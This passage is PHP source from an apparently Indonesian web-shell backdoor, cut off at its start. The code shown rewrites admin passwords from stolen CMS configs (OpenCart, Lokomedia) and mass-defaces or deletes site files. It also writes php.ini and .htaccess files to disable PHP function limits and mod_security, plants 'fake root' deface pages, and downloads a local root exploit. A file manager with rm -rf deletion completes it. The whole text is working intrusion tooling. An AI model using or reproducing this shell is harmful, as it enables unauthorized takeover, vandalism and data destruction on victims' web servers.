"; } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'"); print "Config => ".$file_conf."
"; print "CMS => OpenCart
"; print $url_target; if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."

"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."

"; } mysql_close($conn); } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) { $dbhost = getValue($config,'server = "','"'); $dbuser = getValue($config,'username = "','"'); $dbpass = getValue($config,'password = "','"'); $dbname = getValue($config,'database = "','"'); $prefix = "users"; $option = "identitas"; $conn = mysql_connect($dbhost,$dbuser,$dbpass); $db = mysql_select_db($dbname); $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC"); $result = mysql_fetch_array($q); $target = $result[alamat_website]; if($target == '') { $target2 = $result[url]; $url_target = "Login => ".color(1, 1, "Cant't get domain name")."
"; if($target2 == '') { $url_target2 = "Login => ".color(1, 1, "Cant't get domain name")."
"; } else { $cek_login3 = file_get_contents("$target2/adminweb/"); $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) { $url_target2 = "Login => $target2/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) { $url_target2 = "Login => $target2/lokomedia/adminweb
"; } else { $url_target2 = "Login => $target2 [ gatau admin login nya dimana :p ]
"; } } } else { $cek_login = file_get_contents("$target/adminweb/"); $cek_login2 = file_get_contents("$target/lokomedia/adminweb/"); if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) { $url_target = "Login => $target/adminweb
"; } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) { $url_target = "Login => $target/lokomedia/adminweb
"; } else { $url_target = "Login => $target [ gatau admin login nya dimana :p ]
"; } } $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'"); print "Config => ".$file_conf."
"; print "CMS => Lokomedia
"; if(preg_match("/Can't get domain name/", $url_target)) { print $url_target2; } else { print $url_target; } if(!$update OR !$conn OR !$db) { print "Status => ".color(1, 1, mysql_error())."

"; } else { print "Status => ".color(1, 2, "sukses edit user, silakan login dengan user & pass yang baru.")."

"; } mysql_close($conn); } } } } else { print "

Mass Password Change

"; } } elseif($_GET['do'] === "mass") { if($_POST['start']) { if($_POST['mass_type'] === 'singledir') { print "

"; massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file']); print "

"; } elseif($_POST['mass_type'] === 'alldir') { print "

"; massdeface($_POST['d_dir'], $_POST['script'], $_POST['d_file'], "-alldir"); print "

"; } elseif($_POST['mass_type'] === "delete") { print "

"; massdelete($_POST['d_dir'], $_POST['d_file']); print "

"; } } else { print ""; } } elseif($_GET['do'] == 'bypass'){ echo ""; echo "

Bypass Disable Funcitions

"; echo ""; if(isset($_POST['ini'])) { $file = fopen("php.ini","w"); echo fwrite($file,"disable_functions=none safe_mode = Off "); fclose($file); echo "click here!"; } if(isset($_POST['htce'])) { $file = fopen(".htaccess","w"); echo fwrite($file," SecFilterEngine Off SecFilterScanPOST Off "); fclose($file); echo "htaccess successfully created!"; } echo""; } elseif($_GET['do'] == 'fakeroot') { ob_start(); $site = explode("\r\n", $_POST['url']); $user = usergroup()->name; $file = $_POST['file']; if(!preg_match("#/home/$user/public_html#", $_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "failed :(")); if($_POST['reverse']) { if(!is_writable($_SERVER['DOCUMENT_ROOT'])) die(color(1, 1, "Directory '".$_SERVER['DOCUMENT_ROOT']."' is not writeable.")); if(!is_writable(dirname($_SERVER['DOCUMENT_ROOT']))) die(color(1, 1, "Directory '".dirname($_SERVER['DOCUMENT_ROOT'])."' is not writeable.")); save($_SERVER['DOCUMENT_ROOT']."/".$file, "w", $_POST['script']); save(dirname($_SERVER['DOCUMENT_ROOT'])."/".$file, "w", $_POST['script']); foreach($site as $url) { $cek = curl("$url/~$user/$file"); if(preg_match("/hacked/i", $cek)) { print "URL: $url/~$user/$file -> Fake Root!
"; } } } else { print "
NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html."; } } elseif($_GET['do'] === 'LRE') { if(file_exists("makman.php")) { print ""; } else { if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Makman'.")); if(getfile("LRE")) { print ""; } else { print color(1, 1, "Error while downloading file Makman."); @unlink("makman.php"); } } } } elseif(isset($_GET['act'])) { if($_GET['act'] === 'newfile') { if($_POST['save']) { $filename = htmlspecialchars($_POST['filename']); $fopen = fopen($filename, "a+"); if($fopen) { $act = ""; } else { $act = color(1, 1, "Permission Denied!"); } } print $act; print ""; } elseif($_GET['act'] === 'newfolder') { if($_POST['save']) { $foldername = path().'/'.htmlspecialchars($_POST['foldername']); if(!@mkdir($foldername)) { $act = color(1, 1, "Permission Denied!"); } else { $act = ""; } } print $act; print ""; } elseif($_GET['act'] === 'rename_folder') { if($_POST['save']) { $rename_folder = rename(path(), "".dirname(path()).DIRECTORY_SEPARATOR.htmlspecialchars($_POST['foldername'])); if($rename_folder) { $act = ""; } else { $act = color(1, 1, "Permission Denied!"); } print "$act
"; } print ""; } elseif($_GET['act'] === 'delete_folder') { if(is_dir(path())) { if(is_writable(path())) { @rmdir(path()); if(!@rmdir(path()) AND OS() === "Linux") @exe("rm -rf ".path()); if(!@rmdir(path()) AND OS() === "Windows") @exe("rmdir /s /q ".path()); $act = ""; } else { $act = color(1, 1, "Could not remove directory '".basename(path())."'"); } } print $act; } elseif($_GET['act'] === 'view') { print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]
"; print "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
"; print "

".htmlspecialchars(@file_get_contents($_GET['file']))."

"; } elseif($_GET['act'] === 'edit') { if($_POST['save']) { $save = file_put_contents($_GET['file'], $_POST['src']); if($save) { $act = color(1, 2, "File Saved!"); } else { $act = color(1, 1, "Permission Denied!"); } print "$act
"; } print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]
"; print "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
"; print ""; } elseif($_GET['act'] === 'rename') { if($_POST['save']) { $rename = rename($_GET['file'], path().DIRECTORY_SEPARATOR.htmlspecialchars($_POST['filename'])); if($rename) { $act = ""; } else { $act = color(1, 1, "Permission Denied!"); } print "$act
"; } print "Filename: ".color(1, 2, basename($_GET['file']))." [".writeable($_GET['file'], perms($_GET['file']))."]
"; print "[ view ] [ edit ] [ rename ] [ download ] [ delete ]
"; print ""; } elseif($_GET['act'] === 'delete') { $delete = unlink($_GET['file']); if($delete) { $act = ""; } else { $act = color(1, 1, "Permission Denied!"); } print $act; } } else { files_and_folder(); } } serverinfo(); action(); ?>